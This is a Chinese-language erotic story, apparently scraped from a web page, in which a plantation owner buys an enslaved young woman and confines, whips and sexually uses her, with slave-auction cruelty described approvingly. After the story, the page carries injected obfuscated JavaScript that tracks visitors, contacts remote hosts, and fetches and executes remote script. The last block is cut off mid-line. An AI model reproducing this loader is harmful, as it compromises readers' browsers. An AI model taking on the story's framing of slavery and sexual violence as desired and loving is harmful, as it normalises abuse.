奴隶小红与主人弗雷德[科学幻想]
姑娘带着一种近乎哀求的眼神看着弗雷德,这个眼神对他非常的震撼。这个看起来只有十八九岁的姑娘蜷在笼中,手脚被用绳子严厉的捆绑在身后,几乎被捆成了个球,由此可看出这个姑娘的身子是非常的柔软。她的头靠近笼边,哀怨的眼神久久注视着弗雷德,仿佛在哀求弗雷德买下她。
但弗雷德身后有无数双狼一样的眼睛,所以弗雷德不敢肯定能不能买到这个姑娘。她是不允许说话的,因为嘴里塞进了塞口球,透明的液体沿着口角滴下,这使她的眼神更加显得无助,让人不忍拒绝。
弗雷德走近她对她说:“我喜欢上你了,想把你带走,但我不敢肯定能不能做到。”
她的眼睛顿时显出光芒,她的头不能动,因为已经被绳子紧紧捆住头发,拉向身后。但弗雷德能感觉到她的眼睛里含着感激,目光久久注视着弗雷德。弗雷德不敢肯定她需要自已做什么,弗雷德有些神志不清了。
当拍卖这个姑娘的时候,弗雷德手中的号牌便举起不放,以至于有几个家伙恶作剧,与弗雷德较劲,迫使弗雷德终于以很高的价位卖下了这个柔弱的小白奴,而这个价格却足以买到两三个能干的黑奴。弗雷德在人们的哄笑声中退场,交了定金,来领取所买的姑娘。
由于弗雷德出的价高,老板很满意,破例连笼子一起搭给了弗雷德,还派了两个伙计,帮助弗雷德的仆人马克把姑娘连笼子一起抬到了马车上。在返回的路上当马克告送弗雷德为买这个姑娘所花的钱数时,弗雷德竟然有些吃惊。这远远超出了弗雷德的预算,但弗雷德并不后悔,因为那姑娘的眼神在他面前挥之不去。
弗雷德不知道应该怎样去面对这个受到伤害的姑娘,以至于她连同笼子已经被抬进了弗雷德的地下室,弗雷德却躲在书房不敢见她,弗雷德怕不能给她所需要的,也担心不能得到自已所需要的。
天色将晚,弗雷德终于下定决心,叫来了女仆米雅,他让米雅拿了蜡烛同自已一起到地下室。弗雷德走到这个姑娘的身旁,轻轻坐了下来,因为弗雷德看到她眼睛是闭着的。
弗雷德仔细端详着她,还是拍卖时的样子,捆绑她的绳子依然严厉地束缚着她关于自由的梦想。弗雷德把手伸进笼子,小心的解开她脑后的带扣,取出她的塞口球。由于她的头发依旧被绳子拉向身后,她的头依然被迫向后仰着。
她睁开了眼,勉强的笑了笑,轻声的说:“谢谢您买下了我。”
弗雷德说:“是你的眼睛迫使我买下了你,使我付出了至少两个黑奴的钱买下了你,你希望我给你自由吗?”
“您买下我就足够了,我被拍卖时,只有您看我的眼光和别人不一样,您能买下我是我的幸福。不知为什么,我见到您的第一眼起就感觉到您才是我真正的主人,但我知道我没有资格爱您。您花大价钱买下了我,就像买下一件东西或是小狗。您是我的主人,只要您喜欢,怎样对我都行,相信我不会让您失望的,不要再把我卖给别人了,求求您。”
弗雷德听着姑娘的轻声细语,感到担心是多余的。
“我叫弗雷德,告诉我你叫什么名字?”
“我原名丹妮,自从我被卖以后他们都叫我小红。”
“那你为什么被人拍卖呢?”
小红叹了口气:“我在十岁时随父母漂洋过海来到这遥远的地方,但母亲却患上了重病,父亲便借了许多钱,两年后母亲病死了,不久父亲也突然去世,我就被人卖了。原来主人对我不错,他说我还小,只让我给他管理庄园中的花草和打扫卫生,干点零活,几天前却突然让人将我送去了拍卖行。”
“小红……,你已经被这个样子捆住有很长时间了吧?没有吃东西吧?”
小红说:“是。”
弗雷德让女仆米雅出去拿些吃的进来,于是女仆便将手中的蜡烛架子放在一张小桌上走了出去。米雅用盘子盛了一块黄油面包回来,放在木笼边的凳子上。弗雷德解开小红头发上的绳子,使她的头放松下来。她的手脚依然被绑在身后,弗雷德便用叉子喂她面包,小红很顺从的吃下。
弗雷德轻抚着小红被紧紧捆住的手脚:“你的手脚还有知觉吗?”
小红轻轻摇了摇头。
“你要不要我松开你的手脚?”
“你是我的主人,只要你喜欢,我就乐意,哪怕永远被你捆着,锁着,怎样对我,我都乐于接受”。
弗雷德笑了笑,转过身来,打开靠墙一张木床边放着的一个箱子,取出了一副精致的小手铐和一副看上去相当沉重的脚镣。然后弗雷德打开木笼的锁,拉开门走进去。这个笼子大约有半人高,弗雷德在里面只能蹲着解开小红的绑绳。由于早已经麻木,小红的手脚已经不能动弹。弗雷德给她锁上手铐和脚镣,退到笼外,然后锁上笼门,带着米雅离开了地下室。
第二天弗雷德来到地下室,看到小红正坐在笼中,观看摆弄那副精致的手铐和那沉重的脚镣,看到弗雷德进来,嘴角一动,露出淡雅的一笑。她的笑容让弗雷德心动,又有些惊慌,但弗雷德今天必须让她明白自已的真实想法。弗雷德轻轻地坐到了她的笼子边,小红仍然微笑着看着弗雷德,好像弗雷德的到来让她很开心。
“小红!”弗雷德说,“这是间地牢,在我刚买下这个庄园的时候就建好了。从那个时候起,我就一直寻找适合这个牢房的人,找了好久没有找到。当我看到你的时候,你的眼神和你被捆绑的姿态,深深打动了我,我的话你能明白吗?”
小红沉默片刻,说:“红儿明白主人的话,主人在我身上做任何事都是应该的。我知道您喜欢我才买下我,我愿意永远被您关在这间地牢里,任您禁锢,折磨,只要您快乐就是我的快乐。”
弗雷德打开笼门:“那么,你出来吧。”
小红顺从的爬了出来,由于手脚都锁着,行动起来还是不太方便。墙上有一根锁链垂下,上面连着一个大些的铐环。弗雷德让小红贴墙站好,然后把铐环锁在了她的颈上。弗雷德好像又回到昨天的拍卖会上,但她的眼神已没有了昨日的哀怨,这让弗雷德多少有一点点失望。
弗雷德用钥匙打开小红手脚上的锁链。“你的衣服有些脏了!”
小红的脸立即变的绯红,聪明的她立即明白了弗雷德的意思。她低下头,默默解开身上的衣带,动作很慢但非常柔和,就象她柔软的肌肤。终于,一丝不挂的小红低着头站在弗雷德的面前。
弗雷德惊艳于她的美丽,感到头有些晕旋。弗雷德伸出手指,在触及到她的一瞬间,明显的感觉到小红强烈的抖动,弗雷德努力抑制住想要抱住她的冲动,只是使她慢慢地转动身体。
弗雷德看到,在她小小的背部布满了纵横交错的紫黑鞭痕。小红本能的两手抱在胸前,等着弗雷德的即将到来的急风暴雨,但弗雷德没有这样做。这好比是一桌人间少有的美食突然摆在弗雷德的面前,而弗雷德也已是饥肠辘辘,理智却告诉弗雷德不能一口气吃完,要慢慢享用。
“你刚挨过鞭打?”
“是的,在三天前。”
“为什么?”
“也许是我活干得不好吧,或许是其它的什么原因我不知道,我没有问,他也没有告诉我为什么,真的,我只是服从主人的命令,跪下挨打。而且挨过鞭打后第二天他就把我卖了。”小红叹了一口气,然后又小声加上一句:“但我想,什么时候女奴挨鞭子,总是她的错,不管是什么错。”
弗雷德微笑着,感到她的确很聪明可爱。弗雷德冷静了一下,便取出一块红布,蒙住小红的眼睛,然后用手铐将她的手臂反铐到身后。两只脚上依然锁上那副脚镣,这副脚镣间距大约50公分,脚步不要太大还是可以行走的。
做好了这些,弗雷德就打开锁链墙上的一头,牵引着小红,慢慢走向地下室的出口。脚镣发出了金属撞击的清脆声响。小红在弗雷德的引导下,小心的拾级而上。弗雷德仔细欣赏着小红小心上台阶的姿态,她看不到,只有凭着脚下感觉和弗雷德的牵引来辨别方向。
她明白现在只有服从,包括弗雷德为什么没有给她衣服穿就带她出来,或者还要铐住双手,带上脚镣,都是因为弗雷德喜欢,对于属于自已的东西,为所欲为不需要理由。
弗雷德边走边想边欣赏着体态完美的少女。小红的肌肤白皙细腻如玉,身材小巧玲珑。十八九岁,是少女初长成,情窦初开的年龄,应该是被父母小心呵护的年纪。但她却历经转手,终于在最完美的季节进入弗雷德的梦想。从法律上讲她现在和弗雷德购买的土地、工具等具有相同的地位。
在几十年以来,弗雷德所在的国家种植园农业发展相当快,加之劳动力奇缺,便不断有人口贩子将黑人运到这儿卖为奴隶。也有少数初来乍到的白人因无力偿还债务而不得不沦为奴隶,小红便是其中之一。
弗雷德虽然仅是一位拥有几十个黑奴的小种植园主,但也过着十分幽闲舒适的生活。事实上,弗雷德买下她,应该是她不错的归宿。如果被弗雷德身后那些狼一样的人得到,她不仅会遭受奸污,她还必须牛马一样的干活,最后等过了几年,折磨的不像样子的时候,再廉价卖掉。象这样柔弱的女子是无法承受繁重的体力活的。那些务实的买家会选购身体强壮的奴隶,好给他们干活。
到了草地上,弗雷德取下了小红罩眼的红布,然后打开她颈上的锁链。芳草、碧树、蓝天、白云、旭日,小红看到了周围的美景,眼中闪烁着喜悦的光彩。
虽然脚上仍旧锁着无情的铁锁,但步子明显轻快,她很小心的控制着节奏以避免步辐超过脚镣铁链的长度。她的手臂依旧被手铐锁在身后,使得她的两只少女的乳房更显突出。她忽然注意到弗雷德在看她,才意识到自己的状态,而且还是一丝不挂。她娇羞难耐,竟然蹲下来以躲避弗雷德那灼人的目光。
弗雷德看到她由于呼吸急促,胸部在剧烈的起伏。弗雷德走过去,扶起她,看了一下周围,说:“美吗?”
“美!”她小声的回答。
“我看你更美。”她沉默了一会,好像鼓起勇气:“是戴着镣铐的我吗?”
“戴不戴镣铐你都美,但我更喜欢戴着镣铐或被捆着的你,你知道吗,就是因为你那被捆在笼中那无助的样子和眼神,深深打动了我,才使我最后下决心买你回来。还有你的眼睛会说话,你的眼睛告诉我,希望我买下你。”
弗雷德打量着小红,看着这个美丽羞涩的姑娘,心中在暗暗感谢上帝的恩赐。她的皮肤是那样的洁白细腻,体态是那样的完美,恰似一朵含苞欲开的荷花。拍卖场上的她虽为女奴,但由于是白人,按照惯例没有被剥光吊在货架上,而是被反捆成一团,扔在笼中。她的口中又戴上了塞口球,这都在一定程度上掩盖了她的美丽,才能使弗雷德有幸得到了她。
如果摘掉了塞口球,和其他姑娘一样全身赤裸的吊在了货架上,恐怕价格会再上扬几倍而落到财大气粗的大种植园主手中。但现在人们都是倾向于抢购那些货源充足价格便宜又结实能干的黑人奴隶,这样柔弱的白人女奴是很容易会被老板轻视的。因此她能拍到正常女奴两倍以上的价格,就足以使老板高兴得合不拢嘴了,乐得送人情连笼子一起搭给了弗雷德,那是一种运输奴隶用的笼子。
运奴船上的专用笼子大约有半人高,长宽约一米,笼体都是用十公分见方的硬木材制成长方形的框架,再每隔十公分嵌入一根圆形的手腕粗的木棍,非常坚固。因为空间狭小,黑奴都要捆着双手蹲坐在里面。为防止叫喊,便于运输,黑奴们嘴里也都要戴上塞口球。这些黑奴无法活动,嘴又被堵着,非常安静,偶尔能听到几声轻轻的呻吟。
这些黑奴大多是劫掠来的,由于是长途贩运,笼子的下方底板上开一个小口,口下挂一个皮袋子,大小便排入下方的袋子中,定期有人清理。每天两次,有人用硕大的管子灌注半流体食物。依次摘掉塞口球,注喂食物,然后再戴上塞口球,流水作业,非常便捷。船到港后这些黑奴连同笼子便迅速被各地拍卖行的老板派人接走。
然后黑奴们就被从笼中提出,解开捆绑的绳子,脱光衣服验货、打上烙印,再两手并拢捆紧。到达拍卖市场后,男黑奴站在半人多高的台上进行拍卖,女黑奴一般要被吊在专用的货架上供人选购。一旦交易成功,那些黑奴便分散到了各个种植园里。
吊女奴的货架高大约两米半,宽约五米,上面每隔六十厘米置一个挂钩,用绳子把女奴绑住双手吊在上面的挂钩上。吊女奴也是非常有讲究的,吊架下面横放一高约十厘米的木板条,女奴要踩在上面进行吊绑,这时候脚跟是着地的,等到一架的女奴全都吊绑好了,便把下面的木板条取走,被吊的女奴脚跟一下子便悬了起来。
这是一个很难受的姿势,这一瞬间是非常精彩的,刚才安静等待的女奴们,一下子没有了支撑,便全都扭动了起来,努力尝试用脚尖的力量来支撑身体的重量。据说这是为买家们设计的一个精彩的节目,以调动买家的情绪。因为买家在选货的时候手是很放肆的,为了防止个别性子较烈的女奴做出过激的反应,还要用一种特制的长条形的枷板固定住她们的脚。
这种枷板分为两块,各挖出两个相距三十厘米的脚腕形状的半圆,枷板两端各有一对插销。中间各有一个铁环,并拢后可以上锁。先把女奴的脚踝放入其中一块的半圆中,再把另一块拼上,然后将中间两个铁环锁在一起,这些女奴的双脚便被固定住了,被夹住的双脚被分开三十厘米的距离。
原来脚趾勉强能够支撑一些重量,随着两腿的分离,大多数的女奴已经处在离地悬空的状态了。女奴们手被吊着,双脚被木板夹住,被迫以一种展开的姿态供大家挑选。选购女奴的场面是热烈而杂乱的,这些种植园主们眼睛放光,兴奋的挑选好自己满意的女奴,然后在拍卖场上叫喊着竟价。
拍卖台上,并排吊着十几个女奴,按顺序依次叫价,每一位女奴都要等到没有人加价的时候才拍板成交,然后是下一个,大家争的面红耳赤。女奴们都处于被悬吊的状态,身子被吊起,脚被夹住,无法动弹,这是很难受的。人们能看出这些女奴都在努力的忍耐着,等待着拍卖会早些结束。
这种拍卖会对弗雷德来说有着异乎寻常的刺激,弗雷德常到拍卖场感受那些被拍卖女奴的状态。拍卖会结束时,卖到奴隶的庄种植园主们忙着办理交割手续,当然也有人空手而归。种植园主们运回奴隶的方式也各有不同,有的是直接绑在马车后,让奴隶跟着马车跑回去。有的用一种特制的夹板,夹住颈和手装载于马车上带回去。
弗雷德的思绪从拍卖会场转回到了眼前,弗雷德看着小红,思索着应该怎样对待这个可爱的姑娘。弗雷德决定将小红依然关锁在地牢里,她的脚上依然戴着脚镣。弗雷德专门为她配了一名女仆,就是名叫米雅的那位。
地牢里原本就有一些日常用品,弗雷德又让米雅给送去了一些床席、毛毯、衣服之类,就算基本齐备了。平时由米雅负责管理和照顾小红,禁锢小红的各种刑具的钥匙在米雅手中也都有。弗雷德并不担心,米雅很清楚小红在弗雷德心中的位置。
在表面上看是小红掌握在米雅的手中,实际上小红才是米雅的主人,她俩相处得很不错。米雅是弗雷德非常信得过的忠诚的女仆,她把小红照顾和调理得很好。小红也知道米雅是在执行弗雷德的意志,对她非常尊重和顺从。
米雅其实还并不能完全理解弗雷德和小红心灵上的契约,她知道弗雷德实际上是很喜欢小红,却不知为何仍然要对她进行严酷的捆绑锁链,她只有忠实地执行弗雷德的意志。弗雷德几乎每天都去地牢看望小红,带她到园中的草地上散步、闲聊,她当然还是要带着那副脚镣或者还要被反铐起双手。有时弗雷德把她带到书房去教她读一些书,并让她伺侯自己。
小红好像非常适应长时间的禁锢,弗雷德看着她快乐的样子,好像毫不在意手铐和脚镣的紧缚。弗雷德决定让她开始吃一点苦头:“小红,你身上的鞭伤都好了吗?”
小红笑了笑:“基本都已经好了,谢谢主人关心!”
弗雷德也笑了:“小红!我想…….我要把你吊起来,我要鞭打你,而且想……每月至少鞭打你一次,你允许我这样做吗?”
小红轻声地说:“我…….我是您的女奴,对我,您可以做您喜欢做的事,什么都行。只要您愿意,您可以拿鞭子打我,用您喜欢的随便什么方式拷打折磨我。但请您不要再把我卖掉,我不想离开您!”
弗雷德腾出了他卧室隔壁的一间大房子将它变成了一间“拷问室”。所有的门窗都封了起来,只在卧室里开了一个小门通向隔壁。在那间“拷问室”里架着一根横梁作为吊架,横梁的两端分别有一根立柱,每根柱子上装著一只铁环,大约是一个男子踮起脚尖能够到的高度。
横梁上面有铁挂钩,挂着麻绳,吊架下还放着一副同拍卖会上一模一样的架板。屋里还备了一条宽长凳,上面也装有铁环。在四面的墙壁上都装有蜡烛架,可以同时点亮十二支蜡烛。一面墙壁上还挂着些麻绳和铁链,对面墙上有一排小钉子,挂着两条精致细长的皮鞭,每条皮鞭的柄上都有一只小铁环,用它把皮鞭挂在钉子上,这使得每条鞭子都可以轻而易举地拿下来,用完后再挂回墙上它原来的位置。里面靠墙放着一个双层的木架子,上层放了一个大花瓶,插着一束红玫瑰,木架的下层却放着几根细长的藤条。
这天傍晚,米雅安排小红用过晚餐,去掉小红的脚镣,带她去洗浴。随后米雅在小红身上洒了香水,给她穿上一条质地柔软的白色长裙。回到地牢,米雅又给小红重新戴上脚镣,反铐她的双手,用红布蒙住她的双眼,再在她颈部锁上那副大铐环。
米雅牵着小红来到了弗雷德的卧室。弗雷德示意米雅除下小红颈上的环铐把它带走。弗雷德脱了外套,仅穿着一条宽松的黑色短裤。他把蒙着双眼的小红带到隔壁。“拷问室”里已经点着了所有的蜡烛,弗雷德给小红取下罩眼的红布。
“噢!上帝!”小红看到屋里的绳索、皮鞭、藤条,还有那盛开着的红玫瑰,她不禁发出了一声惊呼。
弗雷德说:“小红,这里的一切都是为你准备的,你怕吗?”
小红轻轻地说:“我怕……,但我是您的,为您受苦我乐意!”
“那好!你还记得拍卖会上的那些女奴吗?她们被拍卖的时候都是吊在架子上的,而你却没有,今天你就先尝一尝那种滋味。”弗雷德打开了她的手铐、脚镣:“你把衣服都脱了吧。”
小红默默地脱光身上的衣裙,十分顺从地把双手拿到前面并拢。弗雷德开始用麻绳绑住她并拢的手腕,她的手腕很细嫩,弗雷德开始担心这样嫩弱的手腕能否承受得了她身体的重量。弗雷德让绳子整齐的缠绕,但却用力的捆扎,因为这样可以减少她吊起时的痛苦。
弗雷德引她站到吊架下,将她的双手高高吊起到了吊架上方的金属挂钩上。考虑到小红的身体极柔软,弗雷德将麻绳提拉到了她的脚尖也微微离地。弗雷德欣赏着小红被吊的样子,仿佛又回到了拍卖会场上。小红的身体悬空了起来,全身的力量都加在了两只紧紧捆着的纤弱的手腕上了。
弗雷德看到了小红的痛苦,她的表现和那些被拍卖的女孩是一样的,她在努力挣扎以减轻痛苦,努力尝试用脚趾尖够着地面并支撑一点身体的重量,但那只是徒劳的挣扎,她只有适应悬吊的痛苦,一点一点的感受它。她要经历一个过程,由一开始的疼痛到剧烈的痛苦,无谓的挣扎之后,逐渐忍耐疼痛,最后达到享受痛感的境界。
因此,弗雷德稳住自己的情绪,仔细观察小红的变化。她已经不再徒劳的挣扎,只是偶尔发出一两声低低的呻吟,她的双腿双脚已经无力的垂下。弗雷德拿来固定双脚的枷板,轻轻把小红的两只纤细的脚踝放入夹板的半圆空隙中,再把另一块枷板对好,上锁。这样,小红的双脚便被微微分开固定在了枷板中。小红的双腿已经无力的垂下,她的精神已经处在迷离状态。
弗雷德要开始进行第三个步骤,将小红在痛苦中唤醒,并逐渐感受到快乐和愉悦,在疼痛中达到兴奋状态。弗雷德轻轻抚摩小红那对坚挺的玲珑如玉的小巧乳房,禁不住亲吻这一对尤物。弗雷德感到了小红的反应,这是属于弗雷德的爱物,弗雷德忍耐了这么久,终于可以用心去感受她。
弗雷德亲手导演了这样一个仪式,就象宗教一样。所爱的人忍受痛苦,弗雷德要用爱抚让她逐渐由痛感变成幸福快乐的感觉。弗雷德用手轻轻抚触小红的每一寸肌肤,手指慢慢探入小红的下体。里面已经湿润,就在那一瞬间,小红全身像过电似的抽搐几下,她发出了呻吟声,这是感受到快感的呻吟声。随着弗雷德的手更加放肆的试探小红的下体,小红本能的扭动加重了她的疼痛感觉。
弗雷德的手指的拨动,又使得她得到了从未体验过的极大的欣快感。弗雷德却缩回了手,他从那墙壁的小钉子上取下一条皮鞭,握在手中。
“小红,我要开始鞭打你了,我要让你超越快感,达到流泪的境界。你听好了,我不会理会你的哭喊,也不会理会你的求饶,但你如果受不了时,你就喊出你的原名,我就会停下来。”
弗雷德再次抚摸了小红的乳房,吻了它们,又吻了小红的嘴唇。弗雷德转到小红背后开始鞭打她的臀部、大腿……。弗雷德的鞭打进行得相当缓慢,而且不是很重。小红低声地呻吟着,她白皙的肌肤上微微隆起了几道暗红的鞭痕。十多鞭后,弗雷德被一种巨大的快感完全地压倒了。弗雷德越来越无法克制自己想尽力鞭打她的冲动,于是鞭打在加重……再加重……!
小红再也控制不住开始尖声哀叫,眼泪直流下来。她拼命扭动着,娇嫩的身体上绽出一条条紫红的鞭痕并很快被汗水浸湿。十多分钟后弗雷德突然停止了鞭打。弗雷德面对着小红那满布粗粗的紫色鞭痕的苗条身躯,注视了很长时间。小红身上那些鞭痕像许多绳索一样伸向臀部、大腿、双肩、脊背、腹部和乳房,时而叠在一起,时而纵横交错,那里还有一丝丝血迹在缓缓地渗出皮肤。
弗雷德手中的皮鞭掉落在地上,他紧紧地抱住了小红,抚摸着小红沾满泪水的脸颊、抚摸着她累累的鞭痕:“傻红儿啊,你为什么不喊‘主人饶了丹妮吧’,那样你会少受很多的苦啊,你真是太倔犟了。”
小红喃喃地说:“主人……,我不能那样,我不能让主人失望的……”
“哦,你太可怜了……,我是多么爱你啊!”弗雷德也喃喃着……。
弗雷德把小红抱得更紧,那粗硬的下体开始探入了小红娇嫩的体内。那种快感与痛感的交相辉映,使小红逐渐进入到了一种醉生梦死的境界。小红在伤痕累累的身体被悬吊着、两脚被禁锢在木枷中的姿态下,与弗雷德达到了精神与肉体极致的统一与和谐。
不知过了多久,弗雷德感到就象做了一场梦。弗雷德看到小红依然被高高吊在刑架上,双脚依然无力的悬空固定在枷板中。她似乎已经从迷醉中醒来,眼睛仍有些迷离,她的腮下带着淡淡泪痕。当兴奋远走,提醒她的也许就只有这种痛苦,她在忍耐痛苦和静静的等待。
弗雷德看小红,小红也非常平静的看弗雷德,看这个从精神到肉体占有她的人,让她刚刚体验到了极度痛苦又极度幸福的醉生梦死般的人儿。她终于完全明白弗雷德所做的一切的真实含义,弗雷德今后会以一种什么样的方式对待她。
弗雷德心里充满爱怜,他轻轻地问:“要把你放下来吗?”
小红轻轻摇了摇头,继续盯着弗雷德看,眼神里饱含着欣赏和期待。弗雷德还是很快便去掉了小红脚上的架板,把她从吊架上放了下来。弗雷德抱起小红,穿过那间小门走进自己的卧室……。
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 